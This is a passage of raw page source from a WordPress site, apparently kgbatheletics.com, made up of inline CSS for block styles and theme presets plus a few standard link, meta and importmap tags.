h1:where(.wp-block-heading).has-background,h2:where(.wp-block-heading).has-background,h3:where(.wp-block-heading).has-background,h4:where(.wp-block-heading).has-background,h5:where(.wp-block-heading).has-background,h6:where(.wp-block-heading).has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg}
/*# sourceURL=https://kgbatheletics.com/wp-includes/blocks/heading/style.min.css */
</style>
<style id="wp-block-paragraph-inline-css">
.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em .1em 0 0;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-left:.1em}p.has-drop-cap.has-background{overflow:hidden}:root :where(p.has-background){padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg}
/*# sourceURL=https://kgbatheletics.com/wp-includes/blocks/paragraph/style.min.css */
</style>
<style id="wp-block-search-inline-css">
.wp-block-search__button{margin-left:10px;word-break:normal}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{fill:currentColor;height:1.25em;min-height:24px;min-width:24px;vertical-align:text-bottom;width:1.25em}:where(.wp-block-search__button){border:1px solid #ccc;padding:6px 10px}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__button{box-sizing:border-box;display:flex;flex-shrink:0;justify-content:center;margin-left:0;max-width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{min-width:0!important;transition-property:width}.wp-block-search.wp-block-search__button-only .wp-block-search__input{flex-basis:100%;transition-duration:.3s}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{overflow:hidden}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{border-left-width:0!important;border-right-width:0!important;flex-basis:0;flex-grow:0;margin:0;min-width:0!important;padding-left:0!important;padding-right:0!important;width:0!important}:where(.wp-block-search__input){-webkit-appearance:initial;-moz-appearance:initial;appearance:none;border:1px solid #949494;flex-grow:1;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;margin-left:0;margin-right:0;min-width:3rem;padding:8px;text-decoration:unset!important;text-transform:inherit}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){background-color:#fff;border:1px solid #949494;box-sizing:border-box;padding:4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{border:none;border-radius:0;padding:0 4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{outline:none}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){padding:4px 8px}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{float:right}
/*# sourceURL=https://kgbatheletics.com/wp-includes/blocks/search/style.min.css */
</style>
<style id="wp-block-columns-inline-css">
.wp-block-columns{box-sizing:border-box;display:flex;flex-wrap:wrap!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns{align-items:normal!important}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns){margin-bottom:1.75em}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-stretch{align-self:stretch}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}
/*# sourceURL=https://kgbatheletics.com/wp-includes/blocks/columns/style.min.css */
</style>
<style id="wp-block-spacer-inline-css">
.wp-block-spacer{clear:both}
/*# sourceURL=https://kgbatheletics.com/wp-includes/blocks/spacer/style.min.css */
</style>
<style id="wp-block-navigation-link-inline-css">
.wp-block-navigation .wp-block-navigation-item__label{overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}.link-ui-tools{outline:1px solid #f0f0f0;padding:8px}.link-ui-block-inserter{padding-top:8px}.link-ui-block-inserter__back{margin-left:8px;text-transform:uppercase}
/*# sourceURL=https://kgbatheletics.com/wp-includes/blocks/navigation-link/style.min.css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*# sourceURL=/wp-includes/css/dist/block-library/common.min.css */
</style>
<style id="global-styles-inline-css">
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--base: #FFFFFF;--wp--preset--color--contrast: #111111;--wp--preset--color--accent-1: #FFEE58;--wp--preset--color--accent-2: #F6CFF4;--wp--preset--color--accent-3: #503AA8;--wp--preset--color--accent-4: #686868;--wp--preset--color--accent-5: #FBFAF3;--wp--preset--color--accent-6: color-mix(in srgb, currentColor 20%, transparent);--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 0.875rem;--wp--preset--font-size--medium: clamp(1rem, 1rem + ((1vw - 0.2rem) * 0.196), 1.125rem);--wp--preset--font-size--large: clamp(1.125rem, 1.125rem + ((1vw - 0.2rem) * 0.392), 1.375rem);--wp--preset--font-size--x-large: clamp(1.75rem, 1.75rem + ((1vw - 0.2rem) * 0.392), 2rem);--wp--preset--font-size--xx-large: clamp(2.15rem, 2.15rem + ((1vw - 0.2rem) * 1.333), 3rem);--wp--preset--font-family--manrope: Manrope, sans-serif;--wp--preset--font-family--fira-code: "Fira Code", monospace;--wp--preset--spacing--20: 10px;--wp--preset--spacing--30: 20px;--wp--preset--spacing--40: 30px;--wp--preset--spacing--50: clamp(30px, 5vw, 50px);--wp--preset--spacing--60: clamp(30px, 7vw, 70px);--wp--preset--spacing--70: clamp(50px, 7vw, 90px);--wp--preset--spacing--80: clamp(70px, 10vw, 140px);--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}.wp-block-button{--wp--preset--dimension--25: 25%;--wp--preset--dimension--50: 50%;--wp--preset--dimension--75: 75%;--wp--preset--dimension--100: 100%;}:root { --wp--style--global--content-size: 645px;--wp--style--global--wide-size: 1340px; }:where(body) { margin: 0; }.wp-site-blocks { padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom); }.has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }.has-global-padding > .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }.has-global-padding :where(:not(.alignfull.is-layout-flow) > .has-global-padding:not(.wp-block-block, .alignfull)) { padding-right: 0; padding-left: 0; }.has-global-padding :where(:not(.alignfull.is-layout-flow) > .has-global-padding:not(.wp-block-block, .alignfull)) > .alignfull { margin-left: 0; margin-right: 0; }.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }.wp-site-blocks > .alignright { float: right; margin-left: 2em; }.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }:where(.wp-site-blocks) > * { margin-block-start: 1.2rem; margin-block-end: 0; }:where(.wp-site-blocks) > :first-child { margin-block-start: 0; }:where(.wp-site-blocks) > :last-child { margin-block-end: 0; }:root { --wp--style--block-gap: 1.2rem; }:root :where(.is-layout-flow) > :first-child{margin-block-start: 0;}:root :where(.is-layout-flow) > :last-child{margin-block-end: 0;}:root :where(.is-layout-flow) > *{margin-block-start: 1.2rem;margin-block-end: 0;}:root :where(.is-layout-constrained) > :first-child{margin-block-start: 0;}:root :where(.is-layout-constrained) > :last-child{margin-block-end: 0;}:root :where(.is-layout-constrained) > *{margin-block-start: 1.2rem;margin-block-end: 0;}:root :where(.is-layout-flex){gap: 1.2rem;}:root :where(.is-layout-grid){gap: 1.2rem;}.is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{background-color: var(--wp--preset--color--base);color: var(--wp--preset--color--contrast);font-family: var(--wp--preset--font-family--manrope);font-size: var(--wp--preset--font-size--large);font-weight: 300;letter-spacing: -0.1px;line-height: 1.4;--wp--style--root--padding-top: 0px;--wp--style--root--padding-right: var(--wp--preset--spacing--50);--wp--style--root--padding-bottom: 0px;--wp--style--root--padding-left: var(--wp--preset--spacing--50);}a:where(:not(.wp-element-button)){color: currentColor;}:root :where(a:where(:not(.wp-element-button)):hover){text-decoration: none;}h1, h2, h3, h4, h5, h6{font-weight: 400;letter-spacing: -0.1px;line-height: 1.125;}h1{font-size: var(--wp--preset--font-size--xx-large);}h2{font-size: var(--wp--preset--font-size--x-large);}h3{font-size: var(--wp--preset--font-size--large);}h4{font-size: var(--wp--preset--font-size--medium);}h5{font-size: var(--wp--preset--font-size--small);letter-spacing: 0.5px;}h6{font-size: var(--wp--preset--font-size--small);font-weight: 700;letter-spacing: 1.4px;text-transform: uppercase;}:root :where(.wp-element-button, .wp-block-button__link){background-color: var(--wp--preset--color--contrast);border-width: 0;color: var(--wp--preset--color--base);font-family: inherit;font-size: var(--wp--preset--font-size--medium);font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: 1rem;padding-right: 2.25rem;padding-bottom: 1rem;padding-left: 2.25rem;text-decoration: none;text-transform: inherit;}:root :where(.wp-element-button:hover, .wp-block-button__link:hover){background-color: color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent);border-color: transparent;color: var(--wp--preset--color--base);}:root :where(.wp-element-button:focus, .wp-block-button__link:focus){outline-color: var(--wp--preset--color--accent-4);outline-offset: 2px;}:root :where(.wp-element-caption, .wp-block-audio figcaption, .wp-block-embed figcaption, .wp-block-gallery figcaption, .wp-block-image figcaption, .wp-block-table figcaption, .wp-block-video figcaption){font-size: var(--wp--preset--font-size--small);line-height: 1.4;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-base-color{color: var(--wp--preset--color--base) !important;}.has-contrast-color{color: var(--wp--preset--color--contrast) !important;}.has-accent-1-color{color: var(--wp--preset--color--accent-1) !important;}.has-accent-2-color{color: var(--wp--preset--color--accent-2) !important;}.has-accent-3-color{color: var(--wp--preset--color--accent-3) !important;}.has-accent-4-color{color: var(--wp--preset--color--accent-4) !important;}.has-accent-5-color{color: var(--wp--preset--color--accent-5) !important;}.has-accent-6-color{color: var(--wp--preset--color--accent-6) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-base-background-color{background-color: var(--wp--preset--color--base) !important;}.has-contrast-background-color{background-color: var(--wp--preset--color--contrast) !important;}.has-accent-1-background-color{background-color: var(--wp--preset--color--accent-1) !important;}.has-accent-2-background-color{background-color: var(--wp--preset--color--accent-2) !important;}.has-accent-3-background-color{background-color: var(--wp--preset--color--accent-3) !important;}.has-accent-4-background-color{background-color: var(--wp--preset--color--accent-4) !important;}.has-accent-5-background-color{background-color: var(--wp--preset--color--accent-5) !important;}.has-accent-6-background-color{background-color: var(--wp--preset--color--accent-6) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-base-border-color{border-color: var(--wp--preset--color--base) !important;}.has-contrast-border-color{border-color: var(--wp--preset--color--contrast) !important;}.has-accent-1-border-color{border-color: var(--wp--preset--color--accent-1) !important;}.has-accent-2-border-color{border-color: var(--wp--preset--color--accent-2) !important;}.has-accent-3-border-color{border-color: var(--wp--preset--color--accent-3) !important;}.has-accent-4-border-color{border-color: var(--wp--preset--color--accent-4) !important;}.has-accent-5-border-color{border-color: var(--wp--preset--color--accent-5) !important;}.has-accent-6-border-color{border-color: var(--wp--preset--color--accent-6) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}.has-xx-large-font-size{font-size: var(--wp--preset--font-size--xx-large) !important;}.has-manrope-font-family{font-family: var(--wp--preset--font-family--manrope) !important;}.has-fira-code-font-family{font-family: var(--wp--preset--font-family--fira-code) !important;}
:root :where(.wp-block-columns-is-layout-flow) > :first-child{margin-block-start: 0;}:root :where(.wp-block-columns-is-layout-flow) > :last-child{margin-block-end: 0;}:root :where(.wp-block-columns-is-layout-flow) > *{margin-block-start: var(--wp--preset--spacing--50);margin-block-end: 0;}:root :where(.wp-block-columns-is-layout-constrained) > :first-child{margin-block-start: 0;}:root :where(.wp-block-columns-is-layout-constrained) > :last-child{margin-block-end: 0;}:root :where(.wp-block-columns-is-layout-constrained) > *{margin-block-start: var(--wp--preset--spacing--50);margin-block-end: 0;}:root :where(.wp-block-columns-is-layout-flex){gap: var(--wp--preset--spacing--50);}:root :where(.wp-block-columns-is-layout-grid){gap: var(--wp--preset--spacing--50);}
:root :where(.wp-block-search){font-size: var(--wp--preset--font-size--medium);line-height: 1.6;}:root :where(.wp-block-search .wp-block-search__input){border-radius:3.125rem;padding-left:1.5625rem;padding-right:1.5625rem;border-color:var(--wp--preset--color--accent-6);}
:root :where(.wp-block-search .wp-element-button, .wp-block-search .wp-block-button__link){border-radius: 3.125rem;margin-left: 1.125rem;}
:root :where(.wp-block-search .wp-element-button:hover, .wp-block-search .wp-block-button__link:hover){border-color: transparent;}
:root :where(.wp-block-site-title){font-weight: 700;letter-spacing: -.5px;}
:root :where(.wp-block-site-title a:where(:not(.wp-element-button))){text-decoration: none;}
:root :where(.wp-block-site-title a:where(:not(.wp-element-button)):hover){text-decoration: underline;}
:root :where(.wp-block-navigation){font-size: var(--wp--preset--font-size--medium);}
:root :where(.wp-block-navigation a:where(:not(.wp-element-button))){text-decoration: none;}
:root :where(.wp-block-navigation a:where(:not(.wp-element-button)):hover){text-decoration: underline;}
/*# sourceURL=global-styles-inline-css */
</style>
<style id="core-block-supports-inline-css">
.wp-container-core-navigation-is-layout-6e943505{justify-content:flex-end;}.wp-container-core-group-is-layout-fbffc046{flex-wrap:nowrap;gap:var(--wp--preset--spacing--10);justify-content:flex-end;}.wp-container-core-group-is-layout-ec1e7a1e{flex-wrap:nowrap;justify-content:space-between;}.wp-container-core-columns-is-layout-b7f6f8cb{flex-wrap:nowrap;gap:var(--wp--preset--spacing--50) var(--wp--preset--spacing--50);}.wp-container-core-group-is-layout-e627a39a > .alignfull{margin-right:calc(0px * -1);margin-left:calc(0px * -1);}.wp-container-core-columns-is-layout-794e3cfa{flex-wrap:nowrap;}.wp-container-core-navigation-is-layout-831b2db5{flex-direction:column;align-items:flex-start;}.wp-container-core-group-is-layout-bf19e0b3{gap:var(--wp--preset--spacing--80);justify-content:space-between;align-items:flex-start;}.wp-container-core-group-is-layout-cf54d0a6{justify-content:space-between;align-items:flex-start;}.wp-container-core-group-is-layout-2ab8c7fb{gap:var(--wp--preset--spacing--20);justify-content:space-between;}
/*# sourceURL=core-block-supports-inline-css */
</style>
<style id="wp-block-template-skip-link-inline-css">
/*! This file is auto-generated */
.skip-link.screen-reader-text{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important;word-break:normal!important}.skip-link.screen-reader-text:focus{background-color:#eee;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}
/*# sourceURL=/wp-includes/css/wp-block-template-skip-link.min.css */
</style>
<link rel="https://api.w.org/" href="https://kgbatheletics.com/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://kgbatheletics.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.1.4" />
<script id="wp-importmap" type="importmap">
{"imports":{"@wordpress/interactivity":"https://kgbatheletics.com/wp-includes/js/dist/script-modules/interactivity/index.min.js?ver=6a43cba92ed701f32cd9"}}
</script>
<link rel="modulepreload" href="https://kgbatheletics.com/wp-includes/js/dist/script-modules/interactivity/index.min.js?ver=6a43cba92ed701f32cd9" id="@wordpress/interactivity-js-modulepreload" fetchpriority="low">
<style class="wp-fonts-local">
